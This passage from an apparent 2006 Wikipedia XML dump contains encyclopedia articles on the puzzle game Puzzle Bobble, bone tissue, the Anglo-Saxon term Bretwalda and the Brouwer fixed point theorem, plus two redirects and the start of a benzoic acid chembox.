|designer = Seiichi Nakakuki
|release = [[1994]]
|genre = [[Puzzle game]]
|modes = Up to 2 players simultaneously
|cabinet = Standard
|arcade system = [[Neo-Geo]] (and latter systems)
|monitor = [[Raster graphics|Raster]], standard resolution
|input = [[Joystick]] (2-way); 1 button
|ports = [[Neo Geo Pocket]], [[Game Gear]], [[Super Nintendo]], [[IBM PC|PC]], [[Wonderswan]], [[3DO]]
|notes = Features the popular characters from ''[[Bubble Bobble]]''. Inspired many official sequels as well as unofficial clones.
}}
:''For other things called ''Bust a Move'', see [[Bust a Move]].''

'''''Puzzle Bobble''''' (known in the [[United States]], [[Canada]], and sometimes in [[Europe]] as '''''Bust a Move''''') is an arcade [[Computer puzzle game|puzzle game]] series created by [[Taito Corporation|Taito]] and contains elements of [[Sega]]'s ''[[Columns (video game)|Columns]]'' and [[Atari]]'s ''[[Breakout]]''.

At the top of the rectangular playing arena, a number of balls of various colours are placed in a prearranged pattern at the start of the level. At the bottom of the screen, the player controls the angle of a fixed cannon that fires semi-randomly coloured balls in a straight line.  The ball, when fired, travels in straight lines, possibly bouncing off the side walls of the arena, before eventually coming to rest either touching one or more of the balls, or at the top of the arena.

If the ball manages to come into contact with identically coloured-balls, thus forming a group of three or more, those balls, and any balls hanging only from them, are removed from the field of play, and points are awarded depending on how many balls are removed from the screen at once.

An exponential scoring system is used, leading to large rewards for removing many balls at once.

To make life more difficult, as the game proceeds, the top of the playing arena, and all the balls, move down the screen from time to time. This imposes a time limit, as the player must remove every ball from the arena before a ball passes a line at the bottom of the arena.

As well as typically cute [[Japanese animation]] (the characters from ''[[Bubble Bobble]]'' operate the cannon) and music, the game's mechanics and level design were beautifully balanced, and the game was terrifically successful at the arcades, spawning several sequels. It is unusual in being popular with women and girls.

One or two players can play the game. In the single-player puzzle game the goal is simply to clear the arena of balls. The two player game pits two players against each other. Both players have an arena each (both visible on screen) and an identical arrangement of coloured balls in each arena. When a player removes a large group (four balls or more) some of the balls removed percolate over to the opponent's arena, usually frustrating her efforts at trying to remove all the balls from the arena. The two player game can also be played by one player against a computer opponent.


== Game Series ==
# '''Puzzle Bobble''' (aka '''Bust-a-Move''') - 1994
# '''Puzzle Bobble 2''' (aka '''Bust-a-Move 2''' in Europe, '''Bust-a-Move Again''' in North America) - 1995
# '''Puzzle Bobble 2X''' (Christmas Edition, with a Christmas animation and a special mode with new levels) - 1995
# '''Puzzle Bobble 3''' (aka '''Bust-a-Move 3''' in Europe, '''Bust-a-Move '99''' in North America) - 1996
# '''Puzzle Bobble 4''' (aka '''Bust-a-Move 4''') - 1997
# '''Super Puzzle Bobble''' (aka '''Super Bust-a-Move''') - 1999
# '''Super Puzzle Bobble 2''' (aka '''Super Bust-a-Move 2''') - 2002
# '''Super Puzzle Bobble All-Stars''' (aka '''Super Bust-a-Move All Stars''' in Europe, '''Bust-a-Move 3000''' in North America) - 2003
# '''Puzzle Bobble VS''' (on Nokia N-Gage) - 2003
# '''Puzzle Bobble DS''' (aka Bust-a-Move DS) - 2005 
# '''Puzzle Bobble Pocket''' (on Sony PSP) - 2005
# '''Puzzle Bobble Mobile''' (on various mobile devices) - 2005

== External links ==
* [http://taito.overclocked.org/ Bubble Bobble HQ]
*[http://www.neo-geo.com/reviews/neo-reviews/bust-a-move/bust-a-move1.html ''Bust-A-Move'' review at Neo-Geo.com]
* [http://www.klov.com/game_detail.php?game_id=9169&amp;letter=P KLOV entry for Puzzle Bobble]
* [http://www.arcade-history.com/history_database.php?page=detail&amp;id=2079 Arcade History Database entry]
* [http://dmoz.org/Games/Video_Games/Puzzle/Puzzle_Bobble_Series/ open directory project: Bubble Bobble Series]
* [http://www.ventoline.com/frozenbubble/bustamove.html Puzzle Bobble Flash Port: play the arcade online now !]

==See also==

* ''[[Frozen Bubble]]''
* ''[[Snood (game)]]''

{{Bubble Bobble series}}


[[Category:Neo-Geo games]]
[[Category: 1994 arcade games]]
[[Category:1994 computer and video games]]
[[Category:Puzzle computer and video games]]
[[Category:Arcade games]]
[[Category: PC games]]
[[Category: Game Gear games]]
[[Category: 3DO games]]
[[Category: Super NES games]]
[[Category:WonderSwan games]]
[[Category:Taito games]]
[[fr:Bust a Move]]
[[it:Puzzle Bobble]]</text>
    </revision>
  </page>
  <page>
    <title>Bone</title>
    <id>4099</id>
    <revision>
      <id>40042818</id>
      <timestamp>2006-02-17T18:42:12Z</timestamp>
      <contributor>
        <ip>137.164.143.36</ip>
      </contributor>
      <comment>/* Bone pathologies */</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Gray252.png|thumb|[[Gray's Anatomy|Gray's]] illustration of a human [[femur]], a typically recognized bone.]]

'''Bone''', also called osseous tissue, (''Latin: &quot;os&quot;'') is a type of [[Rockwell scale|hard]] [[endoskeleton|endoskeletal]] [[connective tissue]] found in many [[vertebrate]] [[animal]]s. Bones support body structures, protect internal [[organ (anatomy)|organ]]s, and (in conjunction with [[muscle]]s) facilitate [[movement]]; are also involved with [[cell formation]], [[calcium metabolism]], and [[mineral storage]]. The bones of an animal are, collectively, known as the [[skeleton]]. Bone has a different composition than [[cartilage]], and both are derived from [[germ layer#Mesoderm|mesoderm]]. In common parlance, cartilage can also be called &quot;bone&quot;, certainly when referring to animals that only have cartilage as hard connective tissue, such as cartilaginous fish ([[Chondrichthyes]]) like [[shark]]s. True bone is present in bony fish ([[Osteichthyes]]) and all [[tetrapod]]s.

There are several [[evolution]]ary alternatives to bone. These evolutionary solutions are not completely functionally analogous to bone. 
*[[Exoskeleton|Exoskeletal]] protection is offered by [[animal shell|shell]]s, [[carapace]]s (consisting of [[Calcium in biology|calcium compounds]] or [[silica]]) and [[chitin|chitinous exoskelotons]]. 
*A true [[endoskeleton]] (that is, protective tissue derived from mesoderm) is also present in [[Echinoderm]]s. [[Porifera]] (sponges) possess simple endoskeletons that consist of calcareous or siliceous [[spicule]]s and a [[spongin]] fiber network.

Bones and skeletons are studied in [[osteology]]. Bones can be prepared for study by several methods, such as [[maceration (bone)|maceration]]. Maceration is done by boiling fleshed bone with dish detergent and a little bleach until all large particles are off. The bones are then cleaned by hand, usually with a toothbrush and a degreaser.

==Functions==
Long bones can be connected to muscles via [[tendon]]s. Bones connect at [[joint]]s by [[ligament]]s. The interaction between bone and muscle is studied in [[biomechanics]].

===Post-mortem functions===
Cut and polished bone from a variety of animals is sometimes used as material for [[jewelry]] and other crafts. Ground cattle bone is sometimes used as fertilizer. In the [[Stone Age]] bone was used to manufacture [[pre-historic art|art]], weapons, needles, ''etc''.

== Structure ==
[[Image:Illu compact spongy bone.jpg|450px|right]]
[[Image:Illu long bone.jpg|300px|right]]
Bone is a relatively hard and lightweight [[composite material]], formed mostly of [[calcium phosphate]] in the chemical arrangement termed calcium hydroxyapatite.  It has relatively high [[compressive strength]] but poor [[tensile strength]].  While bone is essentially brittle, it does have a degree of significant [[elasticity]] contributed by its organic components (chiefly [[collagen]]).  Bone has an internal [[mesh]]-like structure, the [[density]] of which may vary at different [[points]].

Bone can be either '''compact''' or '''cancellous''' (spongy). '''Cortical''' (outer layer) bone is compact; the two terms are often used interchangeably. Cortical bone makes up a large portion of skeletal mass; but, because of its density, it has a low surface area. Cancellous bone is ''trabecular'' (has an open, meshwork or honeycomb-like structure). It has a relatively high surface area, but forms a smaller portion of the skeleton.

Bone can also be either ''woven'' or ''lamellar''. Woven bone is put down rapidly during growth or repair. It is so called because its fibres are aligned at random, and as a result has low strength. In contrast lamellar bone has parallel fibres and is much stronger. Woven bone is often replaced by lamellar bone as growth continues.

''Long bones'' are tubular in structure (e.g. the [[tibia]]). The central shaft of a long bone is called the [[diaphysis]], and has a hollow middle&amp;mdash;the ''medullar cavity''  filled with [[bone marrow]]. Surrounding the medullar cavity is a thin layer of cancellous bone that also contains marrow. The extremities of the bone are called the ''epiphyses'' and are mostly cancellous bone covered by a relatively thin layer of compact bone. In children, long bones are filled with [[red marrow]], which is gradually replaced with [[yellow marrow]] as the child ages.

''Short bones'' (e.g. finger bones) have a similar structure to long bones, except that they have no medullar cavity.

''Flat bones'' (e.g. the skull and ribs) consist of two layers of compact bone with a zone of cancellous bone sandwiched between them.

''Irregular bones'' are bones which do not conform to any of the previous forms (e.g. vertebrae).

All bones consist of living ''cells'' embedded in a mineralised organic ''matrix'' that makes up the main bone material.

=== Cells ===

Bone Heads  include ''[[osteoblast]]s'', so called ''Bone Lining Cells'', ''[[osteocyte]]s'' and ''[[osteoclast]]s''. Osteoblasts are typically viewed as bone forming cells. They are located near to the surface of bone and their functions are to make [[osteoid]] and manufacture [[hormone]]s such as [[prostaglandin]] which act on bone itself. Osteoblasts are mononucleate. Active osteoblasts are situated on the surface of osteoid seams and communicate with each other via gap-junctions. They contain alkaline phosphatase&amp;mdash;a chemical which has a role in the mineralisation of bone.

Bone Lining Cells (BLCs) share a common lineage with [[osteogenesis]] (bone forming) cells. They function as a barrier for certain ions, induced osteogenetic cells. They are flattened, mononucleate cells which line bone.

However, osteocytes do originate from osteoblasts which have migrated into and become trapped and surrounded by bone matrix which they themselves produce. The space which they occupy is known as a lacuna. Osteocytes have many processes which reach out to meet osteoblasts probably for the purposes of communication. Their functions include to varying degrees: formation of bone, matrix maintenance and calcium homeostasis. They possibly act as mechano-sensory receptors&amp;mdash;regulating the bones' response to stress.

If [[osteoblast]]s can be described as bone forming cells, the [[osteoclasts]] can be described as bone destroying cells. Osteoclasts are large, multinucleated cells located on bone surfaces in what are called [[Howship's lacunae]]. These lacunae, or resorption pits, are left behind after the breakdown of bone and often present as ''scalloped'' surfaces. Because the osteoclasts are derived from a [[monocyte stem-cell lineage]], they are equipped with engulfment strategies similar to circulating [[macrophages]]. Osteoclasts mature and/or migrate to discrete bone surfaces. Upon arrival active enzymes, such as [[acid phosphatase]], are secreted against the mineral substrate. This process, called [[bone resorption]], allows stored calcium to be released into systemic circulation and is an important process in regulating [[calcium balance]]. As bone formation actively ''fixes'' circulating calcium in its mineral form, resorption actively ''unfixes'' it thereby increasing [[circulating calcium levels]]. These processes occur in tandem at site-specific locations and are known as [[bone turnover]], or [[remodeling]]. Osteoblasts and osteoclasts, coupled together via [[paracrine cell signalling]], are referred to as [[bone remodeling units]]. The iteration of remodeling events at the cellular level is influential on shaping and sculpting the skeleton both during growth as well as after.

=== Matrix ===

The matrix comprises the other major constituent of bone. It has inorganic and organic parts. The inorganic is mainly crystalline mineral salts and calcium, which is present in the form of hydroxyapatite. The matrix is initially laid down as unmineralized osteoid (manufactured by osteoblasts). ''Mineralisation'' involves osteoblasts secreting [[vesicle (biology)|vesicle]]s containing alkaline phosphatase. This cleaves phosphate groups and acts as the foci for calcium and phosphate deposition. The vesicles then rupture and act as a centre for crystals to grow on.

The organic part of matrix is mainly Type I [[collagen]]. This is made intracellularly as tropocollagen and then exported. It then associates into [[fibril]]s. Also making up the organic part of matrix include various growth factors, the functions of which are not fully known. Other factors present include [[GAGs]], [[osteocalcin]], [[osteonectin]], [[bone sialo protein]] and Cell Attachment Factor.

== Formation ==
[[Image:Illu bone growth.jpg|450px|right]]
The formation of bone occurs by two methods: [[Intramembranous ossification|intramembranous]] and [[endochondral ossification]].  
*  Intramembranous ossification mainly occurs during formation of the flat bones of the [[skull]]; the bone is formed from [[mesenchyme]] tissue.
*  Endochondral ossification occurs in long bones, such as limbs; the bone is formed from [[cartilage]].

Endochondral ossification begins with points in the cartilage called &quot;primary ossification centers.&quot;  They mostly appear during fetal development, though a few short bones begin their primary ossification after birth.  They are responsible for the formation of the diaphyses of long bones, short bones and certain parts of irregular bones.  Secondary ossification occurs after birth, and forms the epiphyses of long bones and the extremities of irregular and flat bones.  The diaphyses and the epiphyses of long bones remain separated by a growing zone of cartilage (the [[metaphysis]]) until the child reaches skeletal maturity (18 to 25 years of age), whereupon the cartilage ossifies, fusing the two together (epiphyseal closure).

Marrow can be found in most any bone that holds cancellous tissue.  In newborns, all such bones are filled exclusively with [[red marrow]] (or ''[[Pluripotential hemopoietic stem cell|hemopoietic]] marrow''), but as the child ages it is mostly replaced by [[yellow marrow]] (or ''[[fat]]ty marrow'').  In adults, [[red marrow]] is mostly found in the flat bones of the skull, the ribs, the vertebrae and pelvic bones.

''Remodeling'' is the process of resorption followed by replacement of bone with little change in shape and occurs throughout a person's life. Its purpose is the release of calcium and the repair of micro-damaged bones (from everyday stress). Repeated stress results in the bone thickening at the points of maximum stress. It has been hypothesized that this is a result of bone's [[piezoelectricity|piezoelectric]] properties, which cause bone to generate small electrical potentials under stress.

==Bone pathologies==
One of the most common bone illnesses is a [[Fracture (bone)| bone fracture]]. [[Bone healing|Bones heal]] by natural processes, but untended and unsupported can lead to misgrown bone.

Other illnesses are for example [[osteoporosis]] and bone [[cancer]] ([[osteosarcoma]]). The joints can be affected by [[arthritis]].

== Terminology ==

:{|
|''process''
|A relatively large projection or prominent bump.
|-
|''articulation''
|The region where adjacent bones contact each other&amp;mdash;a [[joint]].
|-
|''articular process''
|A projection that contacts an adjacent bone.
|-
|''eminence''
|A relatively small projection or bump.
|-
|''tuberosity''
|A projection or bump with a roughened surface.
|-
|''tubercle''
|A projection or bump with a roughened surface, generally smaller than a tuberosity.
|-
|''trochanter''
|One of two specific tuberosities located on the [[femur]].
|-
|''spine''
|A relatively long, thin projection or bump.
|-
|''suture''
|Articulation between cranial bones.
|-
|''malleolus''
|One of two specific protuberances of bones in the [[ankle]].
|-
|''condyle''
|A large, rounded articular process.
|-
|''epicondyle''
|A projection near to a condyle but not part of the joint.
|-
|''line'', ''ridge''
|A long, thin projection, often with a rough surface.
|-
|''crest''
|A prominent ridge.
|-
|''facet''
|A small, smooth articular surface.
|-
|''foramen''
|An opening through a bone.
|-
|''fossa''
|A broad, shallow depressed area.
|-
|''canal''
|A long, tunnel-like foramen, usually a passage for notable nerves or blood vessels.
|-
|''meatus''
|A short canal.
|-
|''sinus''
|A cavity within a cranial bone.
|}

There are also names for specific parts of long bones.

:{|
|''diaphysis'', ''shaft''
|The long, relatively straight main body of the bone; region of primary ossification.
|-
|''epiphyses''
|The end regions of the bone; regions of secondary ossification.
|-
|''epiphyseal plate''
|The thin sheet of bone marking the fusion of epiphyses to the diaphysis (adults only).
|-
|''head''
|The proximal articular end of the bone.
|-
|''neck''
|The region of bone between the head and the shaft.
|}

== See also ==

* [[List of bones of the human skeleton]]
* [[Terms for anatomical location]]

== External links ==

* [http://silver.neep.wisc.edu/~lakes/BoneElectr.html Review (including references) of piezoelectricity and bone remodelling]

[[Category:Anatomy]]
[[Category:Skeletal system]]
[[Category:Bone products]]

&lt;!--[[en:Xương]]--&gt;

[[ar:عظم]]
[[ca:Os]]
[[da:Knogle (anatomi)]]
[[de:Knochen]]
[[es:Hueso]]
[[eo:Osto]]
[[fr:Os]]
[[ko:뼈]]
[[is:Bein]]
[[it:Osso]]
[[he:עצם (אנטומיה)]]
[[lt:Kaulas]]
[[nl:Bot (anatomie)]]
[[ja:骨]]
[[pl:Kość (anatomia)]]
[[pt:Osso]]
[[ru:Кость]]
[[simple:Bone]]
[[sk:Kosť]]
[[fi:Luu]]
[[sv:Ben (skelett)]]
[[tl:Buto]]
[[vi:Xương]]
[[zh:骨骼]]</text>
    </revision>
  </page>
  <page>
    <title>Bretwalda</title>
    <id>4100</id>
    <revision>
      <id>41431363</id>
      <timestamp>2006-02-27T07:07:33Z</timestamp>
      <contributor>
        <ip>72.224.49.93</ip>
      </contributor>
      <comment>/* Use of the term */ disambig</comment>
      <text xml:space="preserve">'''Bretwalda''' is an [[Anglo-Saxon]] term, the first record of which comes from the late 9th-century ''[[Anglo-Saxon Chronicle]]''. It is applied in that chronicle to various kings from the 5th century onwards who had achieved overlordship over some or all the other [[History of Anglo-Saxon England|Anglo-Saxon kingdoms]]. It is unclear if it was actually used at that time or is a 10th century invention.

==Use of the term==

The word Bretwalda is derived from the [[Anglo-Saxon language|Anglo-Saxon]] ''Bretanwealda'', &quot;Lord of Britain&quot;. The first record of it comes from a [[Wessex|West Saxon]] Chronicle of the late 9th century applying the term to [[Egbert of Wessex|Ecgberht]], who was King of Wessex from 802-839. The chronicler also wrote down the names of seven kings [[Bede]] had listed in his Ecclesiastical History of the English People (''gentis anglorum'') in 731.

There is absolutely no evidence that the term Bretwalda was ever a title that had any practical use. [[Bede]], it should be noted, wrote in [[Latin]] and never used the term, and his list of kings holding ''imperium'' should be treated with great caution, not least in that he overlooks kings such as [[Penda]] of [[Mercia]] who clearly held some kind of dominance in his time. Similarly, in his list of Bretwaldas, the West Saxon chronicler ignores Mercian kings such as [[Offa of Mercia|Offa]]. There was no succession, no defined duties and it is doubtful whether the term Bretwalda is anything more than a later simplification of a complex structure of kingship. 

Bretwalda is, therefore, a highly problematic term, and one which, if anything, was merely the attempt by a West Saxon chronicler to make some claim of West Saxon [[Monarch|kings]] to the whole of [[Britain]], which shows that the concept of Britain was at least recognised in the period. Problems only arise when historians take the term and infer from it something that was not there. 

It is particularly important not to think that the &quot;list&quot; of Bretwaldas served any role in recording proto-Kings of [[England]]. There was no succession from one overlord to another, and although these kings are often prefixed to lists of [[Kings of England]], this gives a simplistic view of kingship in the period which does not recognise its many subtleties and complexities.

==Overlordship==

What did exist was a complex array of dominance and subservience. Examples such as a king granting land with [[charters]] in another [[kingdom]], are a sure sign of such a relationship. When a king held sway over a larger kingdom, such as a Mercian ruler over [[East Anglia]], the relationship would have been more equal than in the case of a larger kingdom exercising overlordship over a smaller one, as in the case of [[Mercia]] and [[Hwicce]].

==List of &quot;Overlords&quot;==

Please note that although the dates on this list run continuously, there was no &quot;succession&quot;, and there is nothing to suggest that there was an &quot;office&quot; which had incumbents. This list is certainly not a prefix to the [[Kings of England]].

===Listed by Bede===

*[[Aelle of Sussex]] ([[488]]&amp;ndash;''circa'' [[514]]) 
*[[Ceawlin of Wessex]] ([[560]]&amp;ndash;[[591]]) (died [[593]])
*[[Ethelbert of Kent]] ([[591]]&amp;ndash;[[616]]) 
*[[Raedwald of East Anglia]] ([[616]]&amp;ndash;[[627]]) 
*[[Edwin of Deira]] ([[627]]&amp;ndash;[[632]]) 
*[[Oswald of Bernicia]] ([[633]]&amp;ndash;[[641]]) 
*[[Oswiu of Northumbria|Oswy of Northumbria]] ([[641]]&amp;ndash;[[658]]) (died [[670]])

===Mercian &quot;Overlords&quot;===

*[[Wulfhere of Mercia|Wulfhere]] ([[658]]&amp;ndash;[[675]])
*[[Aethelred of Mercia|Ethelred]] ([[675]]&amp;ndash;[[704]]) (died [[716]])
*[[Cenred of Mercia|Cenred]] ([[704]]&amp;ndash;[[709]])
*[[Ceolred of Mercia|Coelred]] ([[709]]&amp;ndash;[[716]])
*[[Ethelbald of Mercia|Ethelbald]] ([[716]]&amp;ndash;[[757]]) 
*[[Beornrad of Mercia|Beornred]] ([[757]])
*[[Offa of Mercia|Offa]] ([[757]]&amp;ndash;[[796]]) 
*[[Ecgfrith of Mercia|Ecgfrith]] ([[796]])
*[[Cenwulf of Mercia|Cenwulf]] ([[796]]&amp;ndash;[[821]])
*[[Cenelm of Mercia|Cynehelm]] ([[821]]) (may not have existed)
*[[Ceolwulf I of Mercia|Ceolwulf]] ([[821]]&amp;ndash;[[823]])
*[[Beornwulf of Mercia|Beornwulf]] ([[823]]&amp;ndash;[[825]])
*[[Ludeca of Mercia|Ludeca]] ([[825]]&amp;ndash;[[827]])
*[[Wiglaf of Mercia|Wiglaf]] ([[827]]&amp;ndash;[[829]]) (died [[839]])

===West Saxon &quot;Overlords&quot;===

*[[Egbert of Wessex|Egbert]] ([[829]]&amp;ndash;[[839]]) 
*[[Ethelwulf of Wessex|Ethelwulf]] ([[839]]&amp;ndash;[[855]]) 
*[[Ethelbald of Wessex|Ethelbald]] ([[855]]&amp;ndash;[[860]]) 
*[[Ethelbert of Wessex|Ethelbert]] ([[860]]&amp;ndash;[[866]]) 
*[[Ethelred of Wessex|Ethelred]] ([[866]]&amp;ndash;[[871]]) 
*[[Alfred the Great]] ([[871]]&amp;ndash;[[899]])

==Sources and References==
*Simon Keynes, 'Bretwalda', in ''The Blackwell Encyclopaedia of Anglo-Saxon England'', ed. Michael Lapidge et al, (Oxford, 1999)
*D.P. Kirby, ''The Making of Early England'', (London, 1967)
*P. Wormald, 'Bede, the ''Bretwaldas'' and the Origins of the ''Gens Anglorum''', ''Ideal and Reality in Frankish and Anglo-Saxon Society'', ed. P. Wormald et al, (Oxford, 1983)

==See also==
*Mythical pre-Saxon [[King of the Britons]]
*[[List of monarchs of England]]
*[[List of monarchs in the British Isles]]

[[Category:Anglo-Saxon England]]
[[Category:Feudalism]]
[[Category:Monarchy]]


[[ang:Brytenwealda]]
[[de:Bretwalda]]
[[fr:Bretwalda]]
[[it:Bretwalda]]
[[nl:Bretwalda]]
[[no:Bretwalda]]</text>
    </revision>
  </page>
  <page>
    <title>Brouwer fixed point theorem</title>
    <id>4101</id>
    <revision>
      <id>42063836</id>
      <timestamp>2006-03-03T15:37:59Z</timestamp>
      <contributor>
        <username>Experiment123</username>
        <id>1019163</id>
      </contributor>
      <comment>/* Proof outline */</comment>
      <text xml:space="preserve">In [[mathematics]], the '''Brouwer fixed point theorem''' states that every [[continuous function]] from the closed unit [[Ball (mathematics)|ball]] ''D''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt; to itself has a [[fixed point (mathematics)|fixed point]]. In this theorem, ''n'' is any positive [[integer]], and the closed unit ball is the set of all points in [[Euclidean space|Euclidean ''n''-space]] '''R'''&lt;sup&gt;''n''&lt;/sup&gt; which are at distance at most 1 from the origin. Because the properties involved (continuity, being a fixed point) are invariant under [[homeomorphism]]s, the theorem equally applies if the domain is not the closed unit ball itself but some set homeomorphic to it (and therefore also closed, connected, without holes, etcetera).

The theorem has several &quot;real world&quot; illustrations. One works as follows: take two equal size sheets of graph paper with coordinate systems on them, lay one flat on the table and crumple up (but don't rip) the other one and place it any way you like on top of the first. Then there will be at least one point of the crumpled sheet that lies exactly on top of the corresponding point (i.e. the point with the same coordinates) of the flat sheet. This is a consequence of the ''n'' = 2 case of Brouwer's theorem applied to the continuous map that assigns to the coordinates of every point of the crumpled sheet the coordinates of the point of the flat sheet right beneath it. Yet another example: an informational display of a map in, for example, an airport terminal. The function that sends points in real space to their image on the map is continuous and therefore has a fixed point, usually indicated by a cross or arrow with the text ''You are here''. A similar display outside the terminal would violate the condition that the function is &quot;to itself&quot; and fail to have a fixed point.

The Brouwer fixed point theorem was one of the early achievements of [[algebraic topology]], and is the basis of more general fixed point theorems which are important in [[functional analysis]]. The case ''n'' = 3 was proved by [[Luitzen Egbertus Jan Brouwer|L. E. J. Brouwer]] in 1909. [[Jacques Hadamard]] proved the general case in 1910, and Brouwer found a different proof in 1912.  Since it must have an essentially non-constructive proof, it ran contrary to Brouwer's [[intuitionist]] ideals.

== Proof outline ==

A full proof of the theorem would be too long to reproduce here, but the following paragraph outlines a proof omitting the difficult part. It is hoped that this will at least give some idea why the theorem might be expected to be true. Note that the boundary of ''D''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt; is ''S''&lt;sup&gt;&amp;nbsp;''n''&lt;tt&gt;-&lt;/tt&gt;1&lt;/sup&gt;, the (''n''&lt;tt&gt;-&lt;/tt&gt;1)-[[sphere]].

Suppose ''f''&amp;nbsp;:&amp;nbsp;''D''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt;&amp;nbsp;&amp;rarr;&amp;nbsp;''D''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt; is a continuous function that has no fixed point. The idea is to show that this leads to a contradiction. For each ''x'' in ''D''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt;, consider the straight line that passes through ''f''(''x'') and ''x''. There is only one such line, because ''f''(''x'') &amp;ne; ''x''. Following this line from ''f''(''x'') through ''x'' leads to a point on ''S''&lt;sup&gt;&amp;nbsp;''n''&lt;tt&gt;-&lt;/tt&gt;1&lt;/sup&gt;. Call this point ''g''(''x''). This gives us a continuous function ''g''&amp;nbsp;:&amp;nbsp;''D''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt;&amp;nbsp;&amp;rarr;&amp;nbsp;''S''&lt;sup&gt;&amp;nbsp;''n''&lt;tt&gt;-&lt;/tt&gt;1&lt;/sup&gt;. This is a special type of continuous function known as a retraction: every point of the [[codomain]] (in this case ''S''&lt;sup&gt;&amp;nbsp;''n''&lt;tt&gt;-&lt;/tt&gt;1&lt;/sup&gt;) is a fixed point of the function. 

Intuitively it seems unlikely that there could be a retraction of ''D''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt; onto ''S''&lt;sup&gt;&amp;nbsp;''n''&lt;tt&gt;-&lt;/tt&gt;1&lt;/sup&gt;, and in the case ''n'' = 1 it is obviously impossible because ''S''&lt;sup&gt;&amp;nbsp;0&lt;/sup&gt; (i.e., the endpoints of the closed interval ''D''&lt;sup&gt;&amp;nbsp;1&lt;/sup&gt;) isn't even connected. The case ''n''=2 takes more thought, but can be proven by using basic arguments involving the [[fundamental group]]s.  For ''n'' &gt; 2, however, proving the impossibility of the retraction is considerably more difficult. One way is to make use of [[Homology (mathematics)|homology groups]]: it can be shown that ''H''&lt;sub&gt;''n''&lt;tt&gt;-&lt;/tt&gt;1&lt;/sub&gt;(''D''&lt;sup&gt;&amp;nbsp;''n''&lt;/sup&gt;) is trivial while ''H''&lt;sub&gt;''n''&lt;tt&gt;-&lt;/tt&gt;1&lt;/sub&gt;(''S''&lt;sup&gt;&amp;nbsp;''n''&lt;tt&gt;-&lt;/tt&gt;1&lt;/sup&gt;) is infinite [[cyclic group|cyclic]]. This shows that the retraction is impossible, because a retraction cannot increase the size of homology groups.

There is also an almost elementary [[combinatorial proof]]. Its main step consists in establishing [[Sperner's lemma]] in ''n'' dimensions.

For the special case of differentiable functions, there is a very quick proof based on the impossibility of a differentiable retraction. Such a retraction would have at least one non-singular point, whose inverse image would be a 1-manifold with boundary. The boundary would have to contain at least two end points, both of which would have to lie on the boundary of the original ball--which would be impossible in a retraction!

A quite different proof given by David Gale is based on the game of [[Hex_(board_game)|Hex]].  The basic theorem about Hex is that no game can end in a draw.  This is equivalent to the Brouwer fixed point theorem for dimension 2.  By considering ''n''-dimensional versions of Hex, one can prove in general that Brouwer's theorem is equivalent to the [[determinacy]] theorem for Hex.

== Generalizations ==

* [[Lefschetz fixed-point theorem]]
* For a number of generalizations of the Brouwer fixed point theorem to infinite dimensions, see [[fixed point theorems in infinite-dimensional spaces]].

==External links==
* [http://www.cut-the-knot.org/do_you_know/poincare.shtml#brouwertheorem Brouwer's Fixed Point Theorem for Triangles] at [[cut-the-knot]]

==References==

* {{cite journal|author=Gale, D. |year=1979|title=The Game of Hex and Brouwer Fixed-Point Theorem | journal=The American Mathematical Monthly | volume=86 | pages=818-827}}

[[Category:Fixed points]]
[[Category:Topology]]
[[Category:Mathematical theorems]]

[[de:Fixpunktsatz von Brouwer]]
[[fr:Théorème du point fixe de Brouwer]]
[[he:משפט נקודת השבת של ברואר]]
[[it:Teorema del punto fisso di Brouwer]]
[[nl:Vastepuntstelling van Brouwer]]
[[sl:Brouwerjev izrek o negibni točki]]</text>
    </revision>
  </page>
  <page>
    <title>Big bang</title>
    <id>4102</id>
    <revision>
      <id>15902401</id>
      <timestamp>2005-02-23T01:40:41Z</timestamp>
      <contributor>
        <username>Mondhir</username>
        <id>167349</id>
      </contributor>
      <comment>redirect to actual article</comment>
      <text xml:space="preserve">#REDIRECT [[Big Bang]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Biochemistry basic topics</title>
    <id>4105</id>
    <revision>
      <id>28881312</id>
      <timestamp>2005-11-21T04:22:07Z</timestamp>
      <contributor>
        <username>Go for it!</username>
        <id>571592</id>
      </contributor>
      <text xml:space="preserve">#Redirect [[List of basic biochemistry topics]]</text>
    </revision>
  </page>
  <page>
    <title>Benzoic acid</title>
    <id>4106</id>
    <revision>
      <id>40733424</id>
      <timestamp>2006-02-22T17:28:03Z</timestamp>
      <contributor>
        <username>Stone</username>
        <id>13976</id>
      </contributor>
      <minor />
      <comment>/* Laboratory preparations */</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; border=&quot;1&quot; style=&quot;float: right; clear: right; margin: 0 0 1em 1em; border-collapse: collapse;&quot;
! {{chembox header}} | {{PAGENAME}}
|-
| align=&quot;center&quot; colspan=&quot;2&quot; bgcolor=&quot;#ffffff&quot; | [[image: S-Sci-ArCOOH.jpg|100px]] [[Image: benzoic_acid.png |200px|{{PAGENAME}}]] 
|-
! {{chembox header}} | General
|- 
| [[IUPAC nomenclature|Systematic name]]
| {{PAGENAME}} 
|-
| Other names
| Carboxybenzene,&lt;br/&gt;[[E210]], dracylic acid
|-
| [[Chemical formula|Molecular formula]]
| C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;COOH 
|-
| [[Simplified molecular input line entry specification|SMILES]]
| c1ccccc1C(=O)O
|-
| [[Molar mass]]
| 122.12 g/mol
|-
| Appearance
| Colourless crystalline solid 
|-
| [[CAS registry number|CAS number]]
| [65-85-0]
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
| 1.32 g/cm&lt;sup&gt;3&lt;/sup&gt;, solid 
|-
| [[Solubility]] in [[water (molecule)|water]]
| Soluble (hot water)&lt;br/&gt;3.4 g/l (20&amp;nbsp;°C)
|-
| In [[methanol]],&lt;br/&gt;[[diethyl ether]]
| Soluble
|-
| [[Melting point]]
| 122&amp;nbsp;°C (395 K)
|-
| [[Boiling point]]
| 249&amp;nbsp;°C (522 K)
|-
| [[Acid dissociation constant|Acidity]] (p''K''&lt;sub&gt;a&lt;/sub&gt;) 
| 4.21
|-
! {{chembox header}} | Structure
|-
